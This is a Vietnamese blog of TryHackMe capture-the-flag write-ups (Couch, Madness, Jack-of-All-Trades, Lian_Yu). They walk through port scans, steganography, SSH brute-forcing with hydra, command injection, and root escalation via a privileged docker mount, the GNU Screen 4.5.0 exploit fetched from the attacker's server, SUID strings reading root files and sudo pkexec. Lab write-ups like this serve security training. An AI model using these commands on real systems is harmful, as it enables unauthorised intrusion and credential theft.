Tryhackme - Couch

  1. Reconnaissance
  2. Privilege escalation

intro

Xin chào, lại là tôi đây. Hôm nay tôi sẽ giải CTF TryHackMe | Couch

Reconnaissance

Việc đầu tiên cần làm là quét các cổng đang mở trên máy chủ mục tiêu

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 349d390934304b3da71edfeba3b0e5aa (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMXnGZUnLWqLZb8VQiVH0z85lV+G4KY5l5kKf1fS7YgSnfZ+k3CRjAZPuGceg5RQEUbOMCm+0u4SDyIEbwwAXGv0ORK4/VEIyJlZmtlqeyASwR8ML4yjdGqinqOUZ3jN/ZIg4veJ02nr86GZP+Nto0TZt7beaIxykMEZHTdo0CctdKLIet7PpvwG4F5Tn9MBoys9pUjfpcnwbf91Tv6i56Gipo07jKgb5vP8Nl1TXPjWB93WNW2vWEQ1J4tiyZlBeLOaNaEbxvNQFnKxjVYiiLCbcofwSdrwZ7/+sIy5BdiNW+k81rBN3OqaQNZ8urFaiXXf/ukRr/hhjY5a6m0MHn
|   256 a42eef3a845d211bb9d42613a52ddf19 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNTR07g3p8MfnQVnv8uqj8GGDH6VoSRzwRFflMbEf3WspsYyVipg6vtNQMaq5uNGUXF8ubpsnHeJA+T3RilTLXc=
|   256 e16d4dfdc8008e86c2132dc7ad85139c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLUyz2Tpwc5qPuFxV+HnGBeqLC6NWrmpmGmE0hk7Hlj
5984/tcp open  http    syn-ack CouchDB httpd 1.6.1 (Erlang OTP/18)
|_http-server-header: CouchDB/1.6.1 (Erlang OTP/18)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 2AB2AAE806E8393B70970B2EAACE82E0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Với port 5984 tôi có web console của CouchDB. Đọc qua document của db này thì tôi tìm được path của web admin là /_utils

Để list ra toàn bộ db trên web browser tôi dùng path /_all_dbs

Dạo qua các db này thì tôi tìm thấy creds bên trong db secret

Thử login ssh

┌──(neokali)-[~]
└─$ ssh atena@10.10.60.64    
The authenticity of host '10.10.60.64 (10.10.60.64)' can't be established.
ED25519 key fingerprint is SHA256:QXIT4W/vOthS71YtOAr7s67oloxpMmr0GLRVL9iVFJM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.60.64' (ED25519) to the list of known hosts.
atena@10.10.60.64's password: 
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-193-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Fri Dec 18 15:25:27 2020 from 192.168.85.1
atena@ubuntu:~$ id
uid=1000(atena) gid=1000(atena) groups=1000(atena),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
atena@ubuntu:~$ ls
user.txt
atena@ubuntu:~$ 

Privilege escalation

Thử sudo -l hay find đều không có kết quả. Nhưng khi ls -la để xem những file ẩn ở thư mục user atena, tôi nhận ra file .bash_history có size khá lớn.

atena@ubuntu:~$ cat .bash_history 
sudo -s
cd /etc/apt/
rm sources.
rm sources.list
wget https://gist.githubusercontent.com/rohitrawat/60a04e6ebe4a9ec1203eac3a11d4afc1/raw/fcdfde2ab57e455ba9b37077abf85a81c504a4a9/sources.list
apt-get update
apt-get dist-upgrade 
sudo apt-get install software-properties-common
sudo add-apt-repository ppa:couchdb/stable
sudo apt-get update
sudo apt-get install couchdb
sudo chown -R couchdb:couchdb /usr/bin/couchdb /etc/couchdb /usr/share/couchdb
...
...
sudo deluser USERNAME sudo
sudo deluser atena sudo
exit
sudo -s
docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
uname -a
exit

Ở đoạn cuối này, tôi để ý thấy root sử dụng -s để lấy shell và thực thi docker. Tôi sẽ dùng lại câu lệnh này

atena@ubuntu:~$ docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpin
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(fl
/ # cat /root/root.txt
cat: can't open '/root/root.txt': No such file or directory
/ # ls /root
/ # find / -type f -name root.txt 2>/dev/null
/mnt/root/root.txt
/ # 	   

Tryhackme - Madness

  1. Reconnaissance
  2. Privilege escalation

intro

Xin chào, lại là tôi đây. Hôm nay tôi sẽ giải CTF TryHackMe | Madness

Reconnaissance

Vẫn như thông thường, việc đầu tiên cần làm là quét các cổng đang mở trên máy chủ mục tiêu.

PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 acf9851052656e17f51c34e7d86467b1 (RSA)
|   256 dd8e5aecb195cddc4d01b3fe5f4e12c1 (ECDSA)
|_  256 e9ede3eb58773b005e3af524d858348e (ED25519)
80/tcp   open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
2047/tcp filtered dls
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Truy cập vào web với port 80, đây chỉ là 1 trang mặc định của apache. Thử xem source code thì tôi tìm được 1 hint

      <div class="page_header floating_element">
        <img src="[thm.jpg](view-source:http://10.10.187.164/thm.jpg)" class="floating_element"/>
<!-- They will never find me-->
        <span class="floating_element">
          Apache2 Ubuntu Default Page
        </span>

Hẳn là bức ảnh này có gì đó đặc biệt nên mới phải bị giấu đi, lấy nó về để phân tích.

┌──(neokali)-[~]
└─$ wget http://10.10.187.164/thm.jpg               
--2022-11-06 22:06:43--  http://10.10.187.164/thm.jpg
Connecting to 10.10.187.164:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22210 (22K) [image/jpeg]
Saving to: thm.jpg

thm.jpg                                         100%[====================================================================================================>]  21.69K  70.6KB/s    in 0.3s    

2022-11-06 22:06:44 (70.6 KB/s) - thm.jpg saved [22210/22210]

┌──(neokali)-[~]
└─$ exiftool thm.jpg       
ExifTool Version Number         : 12.44
File Name                       : thm.jpg
Directory                       : .
File Size                       : 22 kB
File Modification Date/Time     : 2020:01:06 05:34:26-05:00
File Access Date/Time           : 2022:11:06 22:10:29-05:00
File Inode Change Date/Time     : 2022:11:06 22:10:29-05:00
File Permissions                : -rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Warning                         : PNG image did not start with IHDR

Có vẻ như ảnh đang bị sai định dạng nên không thể mở được - đuôi là jpg nhưng warning lại nói là png. Tôi sẽ dùng hexed.it để phân tích nó

hexed.it

Với 8 byte đầu này thì đúng là của file png nhưng theo như warning phía trên thì IHDR sẽ phải là jpg mới. Vậy nên tôi sẽ đổi 8 byte đầu thành signatures của jpg

jpg-sig

Export ảnh này về, và bên trong nó là 1 path ẩn

hidden-path

Xem qua source của trang này tôi tìm thấy 1 hint nữa

<h2>Welcome! I have been expecting you!</h2>
<p>To obtain my identity you need to guess my secret! </p>
<!-- It's between 0-99 but I don't think anyone will look here-->

<p>Secret Entered: </p>

Vậy là tôi có thể điền 1 số nào đó từ 0-99 vào phần Secret Entered:, nhưng lại không có phần input nào. Vậy nên tôi nghĩ rằng tôi có thể điền trên url.

?secret

Việc đầu tiên tôi sẽ tạo wordlist số 0-99 với crunch, cách tạo wordlist với crunch thì nó ở đây

┌──(neokali)-[~]
└─$ crunch 2 2 0123456789 -o numbers.txt

Tiếp theo dùng ffuf để brute-force

┌──(neokali)-[~]
└─$ ffuf -w numbers.txt -u http://10.10.187.164/th1s_1s_h1dd3n/?secret=FUZZ                                    

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.187.164/th1s_1s_h1dd3n/?secret=FUZZ
 :: Wordlist         : FUZZ: numbers.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

26                      [Status: 200, Size: 408, Words: 45, Lines: 19, Duration: 310ms]
32                      [Status: 200, Size: 408, Words: 45, Lines: 19, Duration: 309ms]
05                      [Status: 200, Size: 408, Words: 45, Lines: 19, Duration: 310ms]
06                      [Status: 200, Size: 408, Words: 45, Lines: 19, Duration: 311ms]
36                      [Status: 200, Size: 408, Words: 45, Lines: 19, Duration: 312ms]
...

Sau khi chạy hết, tôi để ý thấy có 1 path mà Size của nó cao hơn nhiều so với các số khác đó là 73 với Size: 445, nghĩa là ký tự của trang này nhiều hơn hẳn các trang khác (407 hoặc 408).

secret=73

Tôi còn 1 phương pháp nữa chưa thử đó là dùng steghide với bức ảnh phía trên. Thử extract nó với pass vừa tìm được

┌──(neokali)-[~]
└─$ steghide extract -sf thm.webp
Enter passphrase: 
wrote extracted data to "hidden.txt".

┌──(neokali)-[~]
└─$ cat hidden.txt 
Fine you found the password! 

Here's a username 

wbxre

I didn't say I would make it easy for you!

Với hint là Rotten thì tôi sẽ thử decode username này với rot13 và nhận được username là joker.

Trong lời nhắn có nói tôi đã tìm được password, nhưng tôi có thấy password nào ở đây đâu nhỉ? Thêm nữa tôi không được brute-force với ssh nên dù có thử qua các pass có liên quan thì cũng không thể có kết quả

Đến đây thì tôi đành phải tham khảo giải thích của những người đã từng làm. Và hóa ra cả bức ảnh trong phần giới thiệu của room này cũng là 1 dữ kiện. Thật là không ngờ đến!!!

Thực ra việc phải tham khảo giải thích của người khác đã làm giảm hứng thú của tôi với room này đi nhiều. Nhưng để hoàn thành nốt thì tôi sẽ coi đấy là 1 hint nữa. Tôi sẽ lấy nó về và lại extract với steghide

┌──(neokali)-[~]
└─$ steghide extract -sf 5iW7kC8.jpg
Enter passphrase: 
wrote extracted data to "password.txt".
                                            
┌──(neokali)-[~]
└─$ cat password.txt 
I didn't think you'd find me! Congratulations!

Here take my password

*axA&GF8dP

Login ssh

┌──(neokali)-[~]
└─$ ssh joker@10.10.24.75           
joker@10.10.24.75's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-170-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sun Jan  5 18:51:33 2020 from 192.168.244.128
joker@ubuntu:~$ id
uid=1000(joker) gid=1000(joker) groups=1000(joker)                                                                                                                                           
joker@ubuntu:~$ ls                                                                                                                                                                           
user.txt                                                                                                                                                                                     
joker@ubuntu:~$     

Privilege escalation

find / -type f -perm -u=s 2>/dev/null

joker@ubuntu:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/openssh/ssh-keysign                                                                                                                                                                 
/usr/lib/dbus-1.0/dbus-daemon-launch-helper                                                                                                                                                  
/usr/lib/eject/dmcrypt-get-device                                                                                                                                                            
/usr/bin/vmware-user-suid-wrapper                                                                                                                                                            
/usr/bin/gpasswd                                                                                                                                                                             
/usr/bin/passwd                                                                                                                                                                              
/usr/bin/newgrp                                                                                                                                                                              
/usr/bin/chsh                                                                                                                                                                                
/usr/bin/chfn                                                                                                                                                                                
/usr/bin/sudo                                                                                                                                                                                
/bin/fusermount                                                                                                                                                                              
/bin/su                                                                                                                                                                                      
/bin/ping6                                                                                                                                                                                   
/bin/screen-4.5.0                                                                                                                                                                            
/bin/screen-4.5.0.old                                                                                                                                                                        
/bin/mount
/bin/ping
/bin/umount

Tìm exploit về screen-4.5.0 và tôi tìm được trên exploit-db.com

Xác định vị trí của exploit và tạo local http server tại đó

┌──(neokali)-[~]
└─$ searchsploit -p 41154    
  Exploit: GNU Screen 4.5.0 - Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/41154
     Path: /usr/share/exploitdb/exploits/linux/local/41154.sh
File Type: Bourne-Again shell script, ASCII text executable
                                        
┌──(neokali)-[~]
└─$ cd /usr/share/exploitdb/exploits/linux/local/
                                           
┌──(neokali)-[/usr//exploitdb/exploits/linux/local]
└─$ python -m http.server 8000

Sau đó tải exploit lên machine

joker@ubuntu:~$ wget http://10.6.0.191:8000/41154.sh
--2022-11-07 00:28:17--  http://10.6.0.191:8000/41154.sh
Connecting to 10.6.0.191:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1149 (1.1K) [text/x-sh]
Saving to: 41154.sh

41154.sh                                        100%[====================================================================================================>]   1.12K  --.-KB/s    in 0.01s   

2022-11-07 00:28:18 (78.1 KB/s) - 41154.sh saved [1149/1149]

joker@ubuntu:~$ 
joker@ubuntu:~$ chmod +x 41154.sh 
joker@ubuntu:~$ ./41154.sh 
~ gnu/screenroot ~
[+] First, we create our shell and library...
[+] Now we create our /etc/ld.so.preload file...                                                                                                                                             
[+] Triggering...                                                                                                                                                                            
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.                                                                                                     
[+] done!                                                                                                                                                                                    
No Sockets found in /tmp/screens/S-joker.                                                                                                                                                    

# id
uid=0(root) gid=0(root) groups=0(root),1000(joker)
# ls /root
root.txt
# 

Tryhackme - Jack-of-All-Trades

  1. Reconnaissance
  2. Privilege escalation

intro

Xin chào, lại là tôi đây. Hôm nay tôi sẽ giải CTF TryHackMe | Jack-of-All-Trades

Reconnaissance

Vẫn như thông thường, việc đầu tiên cần làm là quét các cổng đang mở trên máy chủ mục tiêu

PORT   STATE SERVICE VERSION
22/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Jack-of-all-trades!
|_http-server-header: Apache/2.4.10 (Debian)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 13b7f0a114e2d32540ff4b9460c5003d (DSA)
|   2048 910cd643d940c388b1be350bbcb99088 (RSA)
|   256 a3fb09fb5080718f931f8d43971edcab (ECDSA)
|_  256 6521e74e7c5ae7bcc6ff68caf1cb75e3 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Truy cập web với port 22.

┌──(neokali)-[~]
└─$ curl -s http://10.10.212.34:22
<html>
        <head>
                <title>Jack-of-all-trades!</title>
                <link href="assets/style.css" rel=stylesheet type=text/css>
        </head>
        <body>
                <img id="header" src="assets/header.jpg" width=100%>
                <h1>Welcome to Jack-of-all-trades!</h1>
                <main>
                        <p>My name is Jack. I'm a toymaker by trade but I can do a little of anything -- hence the name!<br>I specialise in making children's toys (no relation to the big man in the red suit - promise!) but anything you want, feel free to get in contact and I'll see if I can help you out.</p>
                        <p>My employment history includes 20 years as a penguin hunter, 5 years as a police officer and 8 months as a chef, but that's all behind me. I'm invested in other pursuits now!</p>
                        <p>Please bear with me; I'm old, and at times I can be very forgetful. If you employ me you might find random notes lying around as reminders, but don't worry, I <em>always</em> clear up after myself.</p>
                        <p>I love dinosaurs. I have a <em>huge</em> collection of models. Like this one:</p>
                        <img src="assets/stego.jpg">
                        <p>I make a lot of models myself, but I also do toys, like this one:</p>
                        <img src="assets/jackinthebox.jpg">
                        <!--Note to self - If I ever get locked out I can get back in at /recovery.php! -->
                        <!--  UmVtZW1iZXIgdG8gd2lzaCBKb2hueSBHcmF2ZXMgd2VsbCB3aXRoIGhpcyBjcnlwdG8gam9iaHVudGluZyEgSGlzIGVuY29kaW5nIHN5c3RlbXMgYXJlIGFtYXppbmchIEFsc28gZ290dGEgcmVtZW1iZXIgeW91ciBwYXNzd29yZDogdT9XdEtTcmFxCg== -->
                        <p>I hope you choose to employ me. I love making new friends!</p>
                        <p>Hope to see you soon!</p>
                        <p id="signature">Jack</p>
                </main>
        </body>
</html>
                                            
┌──(neo㉿kali)-[~]
└─$ 

Tôi có 1 đoạn code base64 ở đây. Giải mã nó thì tôi được 1 lời nhắn

*Remember to wish Johny Graves well with his crypto jobhunting! His encoding systems are amazing! Also gotta remember your password: u?WtKSraq

Tuy nhiên tôi để ý còn có một path nữa khá thú vị là /recovery.php

┌──(neokali)-[~]
└─$ curl -s http://10.10.212.34:22/recovery.php

<!DOCTYPE html>
<html>
        <head>
                <title>Recovery Page</title>
                <style>
                        body{
                                text-align: center;
                        }
                </style>
        </head>
        <body>
                <h1>Hello Jack! Did you forget your machine password again?..</h1>
                <form action="/recovery.php" method="POST">
                        <label>Username:</label><br>
                        <input name="user" type="text"><br>
                        <label>Password:</label><br>
                        <input name="pass" type="password"><br>
                        <input type="submit" value="Submit">
                </form>
                <!-- GQ2TOMRXME3TEN3BGZTDOMRWGUZDANRXG42TMZJWG4ZDANRXG42TOMRSGA3TANRVG4ZDOMJXGI3DCNRXG43DMZJXHE3DMMRQGY3TMMRSGA3DONZVG4ZDEMBWGU3TENZQGYZDMOJXGI3DKNTDGIYDOOJWGI3TINZWGYYTEMBWMU3DKNZSGIYDONJXGY3TCNZRG4ZDMMJSGA3DENRRGIYDMNZXGU3TEMRQG42TMMRXME3TENRTGZSTONBXGIZDCMRQGU3DEMBXHA3DCNRSGZQTEMBXGU3DENTBGIYDOMZWGI3DKNZUG4ZDMNZXGM3DQNZZGIYDMYZWGI3DQMRQGZSTMNJXGIZGGMRQGY3DMMRSGA3TKNZSGY2TOMRSG43DMMRQGZSTEMBXGU3TMNRRGY3TGYJSGA3GMNZWGY3TEZJXHE3GGMTGGMZDINZWHE2GGNBUGMZDINQ=  -->
                 
        </body>
</html>
                                             
┌──(neokali)-[~]
└─$ 

Sử dụng _CyberChef_

cyberchef

Thử link trong phần hint này thì đó là wiki về Stegosauria - 1 loài khủng long. Khi đọc đến Steg tôi đã nghĩ đến steghide, tôi sẽ tải tất cả các ảnh có trên web về và thử extract nó bằng steghide, còn passphrase thì tôi sẽ thử với đoạn code vừa tìm được phía trên.

assets

stego.jpg

┌──(neokali)-[~]
└─$ steghide extract -sf stego.jpg
Enter passphrase: 
wrote extracted data to "creds.txt".
                                            
┌──(neokali)-[~]
└─$ cat creds.txt                                                                
Hehe. Gotcha!

You're on the right path, but wrong image!

jackinthebox.jpg

┌──(neokali)-[~]
└─$ steghide extract -sf jackinthebox.jpg 
Enter passphrase: 
steghide: could not extract any data with that passphrase!

header.jpg

┌──(neokali)-[~]
└─$ steghide extract -sf header.jpg      
Enter passphrase: 
wrote extracted data to "cms.creds".
                                            
┌──(neokali)-[~]
└─$ cat cms.creds                                                    
Here you go Jack. Good thing you thought ahead!

Username: jackinthebox
Password: TplFxiSHjY
                                            
┌──(neokali)-[~]
└─$ 

Quay trở lại path /recovery.php và login thử

recovery

Theo như lời nhắn, tôi sẽ thử 1 cmd đơn giản như thế này

cmd

Khi thử cat /etc/passwd, tôi để ý thấy url sẽ bị mã hóa rồi sau đó mới trả về kết quả, điều này có nghĩa là để command được thực thi thì tôi phải chuyển nó về url encode

url encode

Tạo listener với port 9001 và tạo shell với bash. Sau 1 lúc thử các shell thì không RCE được nên tôi quyết định sẽ tìm thủ công.

Trong thư mục /home có 1 thư mục của user jack và 1 file jacks_password_list. Khi mở file này thì nó là 1 list các password, tôi sẽ lưu nó về và thử brute-force bằng hydra với user jack

password_list

┌──(neokali)-[~]
└─$ hydra -l jack -P list.txt ssh://10.10.178.76:80
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-06 09:12:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 24 login tries (l:1/p:24), ~2 tries per task
[DATA] attacking ssh://10.10.178.76:80/
[80][ssh] host: 10.10.178.76   login: jack   password: ITMJpGGIqg1jn?>@
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-06 09:13:01
                                           
┌──(neokali)-[~]
└─$ 

Login ssh

┌──(neokali)-[~]
└─$ ssh jack@10.10.178.76 -p80
jack@10.10.178.76's password: 
jack@jack-of-all-trades:~$ id
uid=1000(jack) gid=1000(jack) groups=1000(jack),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),115(bluetooth),1001(dev)
jack@jack-of-all-trades:~$ ls
user.jpg
jack@jack-of-all-trades:~$ 

Tải file ảnh này về và tôi có user flag

┌──(neokali)-[~]
└─$ scp -P 80 jack@10.10.178.76:/home/jack/user.jpg /home/neo
jack@10.10.178.76's password: 
user.jpg                                                   100%  286KB  17.1KB/s   00:16 ┌──(neo㉿kali)-[~]
└─$ scp -P 80 jack@10.10.178.76:/home/jack/user.jpg /home/neo
jack@10.10.178.76's password: 
user.jpg                                                   100%  286KB  17.1KB/s   00:16 

Privilege escalation

sudo -l cần có pass của jack. Tôi sẽ thử find

jack@jack-of-all-trades:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/pt_chown
/usr/bin/chsh
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/strings
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/procmail
/usr/sbin/exim4
/bin/mount
/bin/umount
/bin/su
[stringsGTFOBins](https://gtfobins.github.io/gtfobins/strings/#file-read)
jack@jack-of-all-trades:~$ LFILE=/root/root.txt
jack@jack-of-all-trades:~$ strings "$LFILE"
ToDo:
1.Get new penguin skin rug -- surely they won't miss one or two of those blasted creatures?
2.Make T-Rex model!
3.Meet up with Johny for a pint or two
4.Move the body from the garage, maybe my old buddy Bill from the force can help me hide her?
5.Remember to finish that contract for Lisa.
6.Delete this: securi-tay2020_{6f12*********************10a}

Tryhackme - Lian_Yu

  1. Reconnaissance
  2. Privilege escalation

intro

Xin chào, lại là tôi đây. Hôm nay tôi sẽ giải CTF TryHackMe | Lian_Yu

Reconnaissance

Vẫn như thông thường, việc đầu tiên cần làm quét các cổng đang mở trên máy chủ mục tiêu.

PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 3.0.2
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 5650bd11efd4ac5632c3ee733ede87f4 (DSA)
|   2048 396f3a9cb62dad0cd86dbe77130725d6 (RSA)
|   256 a66996d76d6127967ebb9f83601b5212 (ECDSA)
|_  256 3f437675a85aa6cd33b066420491fea0 (ED25519)
80/tcp  open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Purgatory
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          43991/tcp   status
|   100024  1          50671/udp6  status
|   100024  1          53634/udp   status
|_  100024  1          58301/tcp6  status
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Tôi thử qua ftp với user Anonymous nhưng không có kết quả, vậy nên tôi sẽ bắt đầu với web - port 80

web

Sử dụng dirsearch thì tôi tìm thấy path ẩn là /island/

island

Vào phần source web thì tôi tìm được Code Word là vigilante, tôi cũng chưa biết code này để làm gì nhưng cứ lưu nó lại đã

Tiếp dùng dirsearch thêm 1 lần nữa tôi có 1 path khác là /2100

Truy cập vào path này và tôi tìm được 1 thứ khác trong phần source web

<!DOCTYPE html>
<html>
<body>

<h1 align=center>How Oliver Queen finds his way to Lian_Yu?</h1>

<p align=center >
<iframe width="640" height="480" src="[https://www.youtube.com/embed/X8ZiFuW41yY](view-source:https://www.youtube.com/embed/X8ZiFuW41yY)">
</iframe> <p>
<!-- you can avail your .ticket here but how?   -->

</header>
</body>
</html>

Vậy là file ẩn có đuôi .ticket. Tôi sẽ sử dụng dirsearch thêm 1 lần nữa và thêm extension là .ticket

┌──(neokali)-[~]
└─$ dirsearch -u 10.10.171.203/island/2100 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -e ticket

Tôi tìm được green_arrow

green_arrow

Với Hint sử dụng CyberChef, tôi tìm decode được mã trên với base58.

Login nó với ftp và sử dụng user vigilante

┌──(neokali)-[~]
└─$ ftp 10.10.171.203
Connected to 10.10.171.203.
220 (vsFTPd 3.0.2)
Name (10.10.171.203:neo): vigilante
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||38540|).
150 Here comes the directory listing.
-rw-r--r--    1 0        0          511720 May 01  2020 Leave_me_alone.webp
-rw-r--r--    1 0        0          549924 May 05  2020 Queen's_Gambit.webp
-rw-r--r--    1 0        0          191026 May 01  2020 aa.jpg
226 Directory send OK.
ftp> 

Lấy cả 3 ảnh này về để phân tích. Trong này có 2 ảnh Quenn và aa là có thể xem được còn ảnh Leave_me_alone thì không. Tôi sẽ up nó lên *hexed.it để phân tích

leave

8 byte ký hiệu đầu tiên của file png này không đúng (hoặc đã bị thay đổi). Tôi sẽ sửa lại nó và export ra ảnh mới

pass

Ảnh này và aa đều có điểm chung là về những tay súng, nên tôi nghĩ chúng có thể liên quan đến nhau chăng?

Tôi sẽ thử dùng steghide phân tích ảnh aa với passphrase là password

┌──(neokali)-[~]
└─$ steghide extract -sf aa.jpg
Enter passphrase: 
wrote extracted data to "ss.zip".

Được luôn! Giải nến tệp này

┌──(neokali)-[~]
└─$ unzip ss.zip 
Archive:  ss.zip
  inflating: passwd.txt              
  inflating: shado                   
                                           
┌──(neokali)-[~]
└─$ cat passwd.txt             
This is your visa to Land on Lian_Yu # Just for Fun ***


a small Note about it


Having spent years on the island, Oliver learned how to be resourceful and 
set booby traps all over the island in the common event he ran into dangerous
people. The island is also home to many animals, including pheasants,
wild pigs and wolves.
                                            
┌──(neokali)-[~]
└─$ cat shado     
M3tahuman

Bây giờ tôi đã có 1 password nhưng chưa có username, nhìn lại chiếc ảnh về người đàn ông này, tôi thử tìm kiếm trên gg bằng bức ảnh này và người trong ảnh tên là Slade Wilson a.k.a Deathstroke

Thử login ssh với tên Slade

┌──(neokali)-[~]
└─$ ssh slade@10.10.59.181
The authenticity of host '10.10.59.181 (10.10.59.181)' can't be established.
ED25519 key fingerprint is SHA256:DOqn9NupTPWQ92bfgsqdadDEGbQVHMyMiBUDa0bKsOM.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:77: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.59.181' (ED25519) to the list of known hosts.
slade@10.10.59.181's password: 
                            Way To SSH...
                        Loading.........Done.. 
                   Connecting To Lian_Yu  Happy Hacking

██╗    ██╗███████╗██╗      ██████╗ ██████╗ ███╗   ███╗███████╗██████╗ 
██║    ██║██╔════╝██║     ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗
██║ █╗ ██║█████╗  ██║     ██║     ██║   ██║██╔████╔██║█████╗   █████╔╝
██║███╗██║██╔══╝  ██║     ██║     ██║   ██║██║╚██╔╝██║██╔══╝  ██╔═══╝ 
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗
 ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚══════╝


        ██╗     ██╗ █████╗ ███╗   ██╗     ██╗   ██╗██╗   ██╗
        ██║     ██║██╔══██╗████╗  ██║     ╚██╗ ██╔╝██║   ██║
        ██║     ██║███████║██╔██╗ ██║      ╚████╔╝ ██║   ██║
        ██║     ██║██╔══██║██║╚██╗██║       ╚██╔╝  ██║   ██║
        ███████╗██║██║  ██║██║ ╚████║███████╗██║   ╚██████╔╝
        ╚══════╝╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚═╝    ╚═════╝  #

slade@LianYu:~$ id
uid=1000(slade) gid=1000(slade) groups=1000(slade),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),115(bluetooth)
slade@LianYu:~$ ls
user.txt

Privilege escalation

sudo -l

slade@LianYu:~$ sudo -l
[sudo] password for slade: 
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec
slade@LianYu:~$ 
[pkexecGTFOBins](https://gtfobins.github.io/gtfobins/pkexec/)
slade@LianYu:~$ sudo pkexec /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# ls /root
root.txt
# 

Tryhackme - Dav

  1. Reconnaissance
  2. Privilege escalation

intro

